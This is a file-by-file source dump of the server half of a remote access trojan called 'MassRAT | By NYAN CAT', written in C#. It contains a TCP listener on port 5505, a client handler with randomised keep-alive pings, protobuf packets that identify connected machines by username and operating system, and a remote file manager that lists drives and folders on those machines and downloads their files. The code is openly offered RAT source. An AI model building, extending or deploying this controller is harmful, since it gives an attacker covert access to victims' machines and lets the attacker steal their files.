82 | /// the number of bytes to receive 83 | /// 84 | private int Size = 4; 85 | 86 | /// 87 | /// the location in buffer to store the received data 88 | /// 89 | private int Offset = 0; 90 | 91 | /// 92 | /// the storage for the received data 93 | /// 94 | private byte[] Buffer = new byte[4]; 95 | 96 | public long BytesReceived { get; set; } 97 | 98 | public SocketClient(Socket socket) 99 | { 100 | CurrentForms = new ClientForms(); 101 | 102 | Socket = socket; 103 | 104 | KeepAlivePacket = new Timer(Ping, null, new Random().Next(5000, 30000), new Random().Next(5000, 30000)); // send in random time 105 | 106 | Socket.BeginReceive(Buffer, Offset, Size, 0, ReceiveCall, null); 107 | } 108 | 109 | /// 110 | /// Read incoming packets | Asynchronous 111 | /// docs.microsoft.com/en-us/dotnet/api/system.net.sockets.socket.endreceive?view=netframework-4.8 112 | /// 113 | private void ReceiveCall(IAsyncResult ar) 114 | { 115 | try 116 | { 117 | int received = Socket.EndReceive(ar); 118 | //Debug.WriteLine($"Server: received[{received}] offset[{Offset}] size[{Size}]"); 119 | Offset += received; 120 | Size -= received; 121 | BytesReceived += received; 122 | 123 | if (received > 0) 124 | { 125 | switch (HeaderReceived) 126 | { 127 | case false: 128 | { 129 | if (Size == 0) 130 | { 131 | PayloadSize = BitConverter.ToInt32(Buffer, 0); 132 | if (PayloadSize > 0) 133 | { 134 | Size = PayloadSize; 135 | Offset = 0; 136 | Buffer = new byte[PayloadSize]; 137 | Socket.ReceiveBufferSize = Size; 138 | BytesReceived = 0; 139 | HeaderReceived = true; 140 | Debug.WriteLine($"Server: packet size is {PayloadSize}"); 141 | } 142 | else 143 | { 144 | PayloadSize = 0; 145 | Size = 4; 146 | Offset = 0; 147 | Buffer = new byte[Size]; 148 | Socket.ReceiveBufferSize = Size; 149 | BytesReceived = 0; 150 | } 151 | } 152 | break; 153 | } 154 | 155 | case true: 156 | { 157 | if (Size == 0) 158 | { 159 | IPacket packet = Desirialize.PacketDesirialize(Buffer); 160 | Debug.WriteLine($"Server: packet received is {packet.GetType().Name}"); 161 | ThreadPool.QueueUserWorkItem((o) => 162 | { 163 | new ReadPacket(this, packet); 164 | }); 165 | PayloadSize = 0; 166 | Size = 4; 167 | Offset = 0; 168 | Buffer = new byte[Size]; 169 | Socket.ReceiveBufferSize = Size; 170 | BytesReceived = 0; 171 | HeaderReceived = false; 172 | } 173 | break; 174 | } 175 | } 176 | Socket.BeginReceive(Buffer, Offset, Size, 0, ReceiveCall, null); 177 | } 178 | else 179 | { 180 | Disconnected(); 181 | return; 182 | } 183 | } 184 | catch (SocketException se) 185 | { 186 | Debug.WriteLine(se.SocketErrorCode); 187 | Disconnected(); 188 | return; 189 | } 190 | catch (Exception ex) 191 | { 192 | Debug.WriteLine(ex.Message); 193 | Disconnected(); 194 | return; 195 | } 196 | } 197 | 198 | /// 199 | /// Send packet 200 | /// docs.microsoft.com/en-us/dotnet/api/system.net.sockets.socket.send?view=netframework-4.5 201 | /// 202 | /// payload to be sent 203 | public void Send(IPacket packet) 204 | { 205 | lock (LockSend) 206 | { 207 | try 208 | { 209 | if (!Socket.Connected || packet == null) 210 | { 211 | Disconnected(); 212 | return; 213 | } 214 | else 215 | { 216 | byte[] buffer = Serialize.PacketSerialize(packet); 217 | byte[] bufferSize = BitConverter.GetBytes(buffer.Length); // convert to 4 bytes Length 218 | Debug.WriteLine($"Server: Sending {buffer.Length}"); 219 | 220 | Socket.Poll(-1, SelectMode.SelectWrite); 221 | Socket.Send(bufferSize, 0, bufferSize.Length, SocketFlags.None); // send the 4 bytes first 222 | using (MemoryStream memoryStream = new MemoryStream(buffer)) 223 | { 224 | int read = 0; 225 | memoryStream.Position = 0; 226 | byte[] chunk = new byte[50 * 1000]; 227 | while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) 228 | { 229 | Socket.Poll(-1, SelectMode.SelectWrite); 230 | int sent = Socket.Send(chunk, 0, read, SocketFlags.None); 231 | Debug.WriteLine($"Server: Sent {sent}"); 232 | } 233 | } 234 | } 235 | } 236 | catch (SocketException se) 237 | { 238 | Debug.WriteLine(se.SocketErrorCode); 239 | Disconnected(); 240 | return; 241 | } 242 | catch (Exception ex) 243 | { 244 | Debug.WriteLine(ex.Message); 245 | Disconnected(); 246 | return; 247 | } 248 | } 249 | } 250 | 251 | /// 252 | /// close the socket and any resources left 253 | /// 254 | public void Disconnected() 255 | { 256 | try 257 | { 258 | if (ListViewItem != null) 259 | { 260 | SafeThreading.UIThread.Invoke((MethodInvoker)delegate 261 | { 262 | Interlocked.Decrement(ref Configuration.ConnectedClients); 263 | lock (SafeThreading.SyncMainFormListview) 264 | { 265 | ListViewItem.Remove(); 266 | ListViewItem = null; 267 | SafeThreading.UIThread.Text = $"MassRAT | By NYAN CAT | Online{Configuration.ConnectedClients}"; 268 | } 269 | }); 270 | } 271 | 272 | CurrentForms?.Cleanup(); 273 | CurrentForms = null; 274 | 275 | Socket?.Dispose(); 276 | 277 | KeepAlivePacket?.Dispose(); 278 | Buffer = null; 279 | 280 | Debug.WriteLine("Disconnected"); 281 | } 282 | catch (Exception ex) 283 | { 284 | Debug.WriteLine(ex); 285 | } 286 | } 287 | 288 | /// 289 | /// simple ping 290 | /// to avoid half open connection 291 | /// associated with the "Timer KeepAlivePacket" 292 | /// 293 | /// null 294 | private void Ping(object o) 295 | { 296 | Send(new PacketKeepAlive()); 297 | } 298 | } 299 | } -------------------------------------------------------------------------------- /Server/Networking/SocketServer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Net; 4 | using System.Net.Sockets; 5 | using System.Windows.Forms; 6 | 7 | namespace Server.Networking 8 | { 9 | public class SocketServer 10 | { 11 | /// 12 | /// Begins listening for clients 13 | /// docs.microsoft.com/en-us/dotnet/api/system.net.sockets.socket?view=netframework-4.5 14 | /// 15 | /// Port to listen for clients on 16 | public SocketServer(int port) 17 | { 18 | try 19 | { 20 | Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) 21 | { 22 | ReceiveBufferSize = 50 * 1000, 23 | SendBufferSize = 50 * 1000, 24 | }; 25 | server.Bind(new IPEndPoint(IPAddress.Any, port)); 26 | server.Listen(200); 27 | server.BeginAccept(EndAcceptCall, server); 28 | } 29 | catch (Exception ex) 30 | { 31 | Debug.WriteLine(ex); 32 | MessageBox.Show(ex.Message); 33 | Environment.Exit(0); 34 | } 35 | } 36 | 37 | /// 38 | /// Accepts incoming client 39 | /// docs.microsoft.com/en-us/dotnet/api/system.net.sockets.socket.beginaccept?view=netframework-4.5 40 | /// 41 | /// The status of the asynchronous operation 42 | private void EndAcceptCall(IAsyncResult ar) 43 | { 44 | Socket server = (Socket)ar.AsyncState; 45 | try 46 | { 47 | Socket newClient = server.EndAccept(ar); 48 | new SocketClient(newClient); 49 | } 50 | catch (Exception ex) 51 | { 52 | Debug.WriteLine(ex); 53 | } 54 | finally 55 | { 56 | server.BeginAccept(new AsyncCallback(EndAcceptCall), server); //~loop 57 | } 58 | } 59 | } 60 | } -------------------------------------------------------------------------------- /Server/PacketHandler/HandleFileManager.cs: -------------------------------------------------------------------------------- 1 | using Server.Forms; 2 | using Server.Networking; 3 | using SharedLibraries.Packet.Commands; 4 | using System; 5 | using System.Collections.Generic; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | using System.Windows.Forms; 10 | 11 | namespace Server.PacketHandler 12 | { 13 | public class HandleFileManager 14 | { 15 | public void GetDrivers(SocketClient client, PacketFileManager_GetDrivers packet) 16 | { 17 | if (client.CurrentForms.GetFormFileManager != null) 18 | { 19 | client.CurrentForms.GetFormFileManager.AddDrivers(packet); 20 | } 21 | } 22 | 23 | public void GetPath(SocketClient client, PacketFileManager_GetPath packet) 24 | { 25 | if (client.CurrentForms.GetFormFileManager != null) 26 | { 27 | client.CurrentForms.GetFormFileManager.AddFilesFolders(packet); 28 | } 29 | } 30 | 31 | public void DownloadFile(SocketClient client, PacketFileManager_DownloadFile packet) 32 | { 33 | FormFileManager formFileManager = (FormFileManager)Application.OpenForms[$"FileManager {packet.SocketId}"]; 34 | if (formFileManager != null) 35 | { 36 | formFileManager.DownloadFile(client, packet); 37 | } 38 | else 39 | { 40 | client.Disconnected(); 41 | } 42 | } 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /Server/PacketHandler/ReadPacket.cs: -------------------------------------------------------------------------------- 1 | using Server.Networking; 2 | using Server.Settings; 3 | using SharedLibraries.Packet.Commands; 4 | using SharedLibraries.Packet.Interfaces; 5 | using System; 6 | using System.Diagnostics; 7 | 8 | namespace Server.PacketHandler 9 | { 10 | public class ReadPacket 11 | { 12 | /// 13 | /// execute the client command 14 | /// 15 | /// current client 16 | /// the full packet that was received 17 | public ReadPacket(SocketClient client, IPacket packet) 18 | { 19 | try 20 | { 21 | switch (packet) 22 | { 23 | case PacketIdentification _packet: // to add client to the main form listview 24 | { 25 | SafeThreading.UIThread.AddClientToListview(client, _packet); 26 | break; 27 | } 28 | 29 | case PacketFileManager_GetPath _packet: // list of files and folders 30 | { 31 | new HandleFileManager().GetPath(client, _packet); 32 | break; 33 | } 34 | 35 | case PacketFileManager_GetDrivers _packet: // list of drivers 36 | { 37 | new HandleFileManager().GetDrivers(client, _packet); 38 | break; 39 | } 40 | 41 | case PacketFileManager_DownloadFile _packet: 42 | { 43 | new HandleFileManager().DownloadFile(client, _packet); 44 | break; 45 | } 46 | } 47 | } 48 | catch (Exception ex) 49 | { 50 | Debug.WriteLine(ex); 51 | client.Disconnected(); 52 | } 53 | } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /Server/Program.cs: -------------------------------------------------------------------------------- 1 | using Server.Settings; 2 | using System; 3 | using System.Windows.Forms; 4 | 5 | namespace Server 6 | { 7 | static class Program 8 | { 9 | /// 10 | /// The main entry point for the application. 11 | /// 12 | [STAThread] 13 | static void Main() 14 | { 15 | Application.EnableVisualStyles(); 16 | Application.SetCompatibleTextRenderingDefault(false); 17 | Application.Run(SafeThreading.UIThread = new Forms.FormMain()); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /Server/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Server")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Server")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("92ba2a7e-c198-4d43-929e-1cfe54b64d95")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Server/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace Server.Properties 12 | { 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources 26 | { 27 | 28 | private static global::System.Resources.ResourceManager resourceMan; 29 | 30 | private static global::System.Globalization.CultureInfo resourceCulture; 31 | 32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 33 | internal Resources() 34 | { 35 | } 36 | 37 | /// 38 | /// Returns the cached ResourceManager instance used by this class. 39 | /// 40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 41 | internal static global::System.Resources.ResourceManager ResourceManager 42 | { 43 | get 44 | { 45 | if ((resourceMan == null)) 46 | { 47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Server.Properties.Resources", typeof(Resources).Assembly); 48 | resourceMan = temp; 49 | } 50 | return resourceMan; 51 | } 52 | } 53 | 54 | /// 55 | /// Overrides the current thread's CurrentUICulture property for all 56 | /// resource lookups using this strongly typed resource class. 57 | /// 58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 59 | internal static global::System.Globalization.CultureInfo Culture 60 | { 61 | get 62 | { 63 | return resourceCulture; 64 | } 65 | set 66 | { 67 | resourceCulture = value; 68 | } 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /Server/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | text/microsoft-resx 107 | 108 | 109 | 2.0 110 | 111 | 112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 113 | 114 | 115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | -------------------------------------------------------------------------------- /Server/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace Server.Properties 12 | { 13 | 14 | 15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 18 | { 19 | 20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 21 | 22 | public static Settings Default 23 | { 24 | get 25 | { 26 | return defaultInstance; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /Server/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Server/Server.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | Debug 7 | AnyCPU 8 | {92BA2A7E-C198-4D43-929E-1CFE54B64D95} 9 | WinExe 10 | Server 11 | Server 12 | v4.6 13 | 512 14 | true 15 | true 16 | 17 | 18 | 19 | 20 | AnyCPU 21 | true 22 | full 23 | false 24 | bin\Debug\ 25 | DEBUG;TRACE 26 | prompt 27 | 4 28 | false 29 | false 30 | false 31 | false 32 | 33 | 34 | AnyCPU 35 | none 36 | true 37 | bin\Release\ 38 | 39 | 40 | prompt 41 | 4 42 | false 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | Component 60 | 61 | 62 | 63 | Form 64 | 65 | 66 | FormFileManager.cs 67 | 68 | 69 | Form 70 | 71 | 72 | FormMain.cs 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | FormFileManager.cs 84 | 85 | 86 | FormMain.cs 87 | 88 | 89 | ResXFileCodeGenerator 90 | Resources.Designer.cs 91 | Designer 92 | 93 | 94 | True 95 | Resources.resx 96 | 97 | 98 | 99 | 100 | 101 | SettingsSingleFileGenerator 102 | Settings.Designer.cs 103 | 104 | 105 | True 106 | Settings.settings 107 | True 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | {4CB9BBEE-FB92-44FA-A427-B7245BEFC2F3} 116 | SharedLibraries 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 126 | 127 | 128 | 129 | 130 | 131 | -------------------------------------------------------------------------------- /Server/Settings/Configuration.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace Server.Settings 8 | { 9 | public static class Configuration 10 | { 11 | public static int Port => 5505; 12 | public static int ConnectedClients = 0; 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /Server/Settings/SafeThreading.cs: -------------------------------------------------------------------------------- 1 | using Server.Forms; 2 | 3 | namespace Server.Settings 4 | { 5 | public static class SafeThreading 6 | { 7 | // docs.microsoft.com/en-us/dotnet/framework/winforms/controls/how-to-make-thread-safe-calls-to-windows-forms-controls 8 | public static FormMain UIThread; 9 | public static object SyncMainFormListview = new object(); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /Server/app.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 52 | 53 | 54 | true 55 | 56 | 57 | 58 | 59 | 73 | 74 | 75 | -------------------------------------------------------------------------------- /Server/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /SharedLibraries/Helper/Convertor.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SharedLibraries.Helper 4 | { 5 | public static class Convertor 6 | { 7 | public static string IntegerToUnitData(long length) 8 | { 9 | string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" }; 10 | if (length == 0) 11 | return "0" + suf[0]; 12 | long bytes = Math.Abs(length); 13 | int place = Convert.ToInt32(Math.Floor(Math.Log(bytes, 1024))); 14 | double num = Math.Round(bytes / Math.Pow(1024, place), 1); 15 | return (Math.Sign(length) * num).ToString() + suf[place]; 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /SharedLibraries/Helper/Gzip.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.IO.Compression; 4 | 5 | namespace SharedLibraries.Helper 6 | { 7 | /// 8 | /// Provides methods and properties used to compress and decompress streams by using the GZip data format specification. 9 | /// 10 | public static class GZip 11 | { 12 | public static byte[] Decompress(byte[] input) 13 | { 14 | using (MemoryStream source = new MemoryStream(input)) 15 | { 16 | byte[] lengthBytes = new byte[4]; 17 | source.Read(lengthBytes, 0, 4); 18 | 19 | int length = BitConverter.ToInt32(lengthBytes, 0); 20 | using (GZipStream decompressionStream = new GZipStream(source, CompressionMode.Decompress)) 21 | { 22 | byte[] result = new byte[length]; 23 | decompressionStream.Read(result, 0, length); 24 | return result; 25 | } 26 | } 27 | } 28 | 29 | public static byte[] Compress(byte[] input) 30 | { 31 | using (MemoryStream result = new MemoryStream()) 32 | { 33 | byte[] lengthBytes = BitConverter.GetBytes(input.Length); 34 | result.Write(lengthBytes, 0, 4); 35 | 36 | using (GZipStream compressionStream = new GZipStream(result, CompressionMode.Compress)) 37 | { 38 | compressionStream.Write(input, 0, input.Length); 39 | compressionStream.Flush(); 40 | 41 | } 42 | return result.ToArray(); 43 | } 44 | } 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /SharedLibraries/ILMerge.props: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | true 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | -------------------------------------------------------------------------------- /SharedLibraries/ILMergeOrder.txt: -------------------------------------------------------------------------------- 1 | # this file contains the partial list of the merged assemblies in the merge order 2 | # you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build 3 | # and finetune merge order to your satisfaction 4 | 5 | -------------------------------------------------------------------------------- /SharedLibraries/Packet/Commands/PacketFileManager.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | using SharedLibraries.Packet.Interfaces; 3 | using System; 4 | using System.Collections.Generic; 5 | 6 | namespace SharedLibraries.Packet.Commands 7 | { 8 | 9 | #region To Get Drviers 10 | /// 11 | /// DriveInfo alike 12 | /// 13 | [ProtoContract] 14 | public class PacketFileManager_DriverPacket : IPacket 15 | { 16 | [ProtoMember(1)] 17 | public string Name { get; set; } 18 | 19 | [ProtoMember(2)] 20 | public string Type { get; set; } 21 | 22 | [ProtoMember(3)] 23 | public string Size { get; set; } 24 | } 25 | 26 | /// 27 | /// To save list of drivers 28 | /// 29 | [ProtoContract] 30 | public class PacketFileManager_GetDrivers : IPacket 31 | { 32 | [ProtoMember(1)] 33 | public List ListDrivers { get; set; } 34 | } 35 | #endregion 36 | 37 | 38 | #region To Get Files And Folders 39 | /// 40 | /// FileInfo alike 41 | /// 42 | [ProtoContract] 43 | public class PacketFileManager_FilePacket : IPacket 44 | { 45 | [ProtoMember(1)] 46 | public string Name { get; set; } 47 | 48 | [ProtoMember(2)] 49 | public string FullPath { get; set; } 50 | 51 | [ProtoMember(3)] 52 | public byte[] Icon { get; set; } 53 | 54 | [ProtoMember(4)] 55 | public string Size { get; set; } 56 | 57 | [ProtoMember(5)] 58 | public DateTime DateCreation { get; set; } 59 | } 60 | 61 | /// 62 | /// DirectoryInfo alike 63 | /// 64 | [ProtoContract] 65 | public class PacketFileManager_FolderPacket : IPacket 66 | { 67 | [ProtoMember(1)] 68 | public string Name { get; set; } 69 | 70 | [ProtoMember(2)] 71 | public string FullPath { get; set; } 72 | 73 | [ProtoMember(3)] 74 | public DateTime DateCreation { get; set; } 75 | } 76 | 77 | /// 78 | /// To save list of files and list of folders 79 | /// 80 | [ProtoContract] 81 | public class PacketFileManager_GetPath : IPacket 82 | { 83 | [ProtoMember(1)] 84 | public string Path { get; set; } 85 | 86 | [ProtoMember(2)] 87 | public List ListFiles { get; set; } 88 | 89 | [ProtoMember(3)] 90 | public List ListFolders { get; set; } 91 | 92 | [ProtoMember(4)] 93 | public string Error { get; set; } 94 | } 95 | 96 | /// 97 | /// Create a download profile for the file 98 | /// 99 | [ProtoContract] 100 | public class PacketFileManager_DownloadFile : IPacket 101 | { 102 | [ProtoMember(1)] 103 | public string FullPath { get; set; } 104 | 105 | [ProtoMember(2)] 106 | public byte[] ByteArray { get; set; } 107 | 108 | [ProtoMember(3)] 109 | public string SocketId { get; set; } 110 | 111 | [ProtoMember(4)] 112 | public string FileId { get; set; } 113 | 114 | [ProtoMember(5)] 115 | public long Size { get; set; } 116 | } 117 | #endregion 118 | } -------------------------------------------------------------------------------- /SharedLibraries/Packet/Commands/PacketIdentification.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | using SharedLibraries.Packet.Interfaces; 3 | 4 | namespace SharedLibraries.Packet.Commands 5 | { 6 | [ProtoContract] 7 | public class PacketIdentification : IPacket 8 | { 9 | [ProtoMember(1)] 10 | public string Username { get; set; } 11 | 12 | [ProtoMember(2)] 13 | public string OperatingSystem { get; set; } 14 | 15 | [ProtoMember(3)] 16 | public string ID { get; set; } 17 | 18 | [ProtoMember(4)] 19 | public Enums.ClientType Type { get; set; } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /SharedLibraries/Packet/Commands/PacketKeepAlive.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | using SharedLibraries.Packet.Interfaces; 3 | 4 | namespace SharedLibraries.Packet.Commands 5 | { 6 | [ProtoContract] 7 | public class PacketKeepAlive : IPacket 8 | { 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /SharedLibraries/Packet/Enums/ClientType.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.ComponentModel; 5 | using System.Linq; 6 | using System.Text; 7 | 8 | namespace SharedLibraries.Packet.Enums 9 | { 10 | [ProtoContract] 11 | public enum ClientType 12 | { 13 | PC, 14 | Android, 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /SharedLibraries/Packet/Interfaces/IPacket.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | using SharedLibraries.Packet.Commands; 3 | 4 | namespace SharedLibraries.Packet.Interfaces 5 | { 6 | // add your class and number++ 7 | [ProtoContract] 8 | [ProtoInclude(1, typeof(PacketIdentification))] 9 | 10 | [ProtoInclude(2, typeof(PacketKeepAlive))] 11 | 12 | [ProtoInclude(3, typeof(PacketFileManager_GetDrivers))] 13 | [ProtoInclude(4, typeof(PacketFileManager_FilePacket))] 14 | [ProtoInclude(5, typeof(PacketFileManager_GetPath))] 15 | [ProtoInclude(6, typeof(PacketFileManager_FolderPacket))] 16 | [ProtoInclude(7, typeof(PacketFileManager_DriverPacket))] 17 | [ProtoInclude(8, typeof(PacketFileManager_DownloadFile))] 18 | 19 | public class IPacket { } 20 | } 21 | -------------------------------------------------------------------------------- /SharedLibraries/Packet/Serialization/Desirialize.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | using SharedLibraries.Helper; 3 | using SharedLibraries.Packet.Interfaces; 4 | using System.IO; 5 | 6 | namespace SharedLibraries.Packet.Serialization 7 | { 8 | /// 9 | /// Deserialization is the reverse process where the byte stream is used to recreate the actual object 10 | /// 11 | public static class Desirialize 12 | { 13 | public static IPacket PacketDesirialize(byte[] byteArray) 14 | { 15 | using (var stream = new MemoryStream(GZip.Decompress(byteArray))) 16 | { 17 | stream.Position = 0; 18 | return Serializer.Deserialize(stream); 19 | } 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /SharedLibraries/Packet/Serialization/Serialize.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | using SharedLibraries.Helper; 3 | using SharedLibraries.Packet.Interfaces; 4 | using System.IO; 5 | 6 | namespace SharedLibraries.Packet.Serialization 7 | { 8 | /// 9 | /// Serialization is the process of converting an object into a stream of bytes to store the object 10 | /// 11 | public static class Serialize 12 | { 13 | public static byte[] PacketSerialize(IPacket packet) 14 | { 15 | using (MemoryStream ms = new MemoryStream()) 16 | { 17 | Serializer.Serialize(ms, packet); 18 | return GZip.Compress(ms.ToArray()); 19 | } 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /SharedLibraries/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharedLibraries")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharedLibraries")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("4cb9bbee-fb92-44fa-a427-b7245befc2f3")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharedLibraries/SharedLibraries.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | Debug 7 | AnyCPU 8 | {4CB9BBEE-FB92-44FA-A427-B7245BEFC2F3} 9 | Library 10 | Properties 11 | 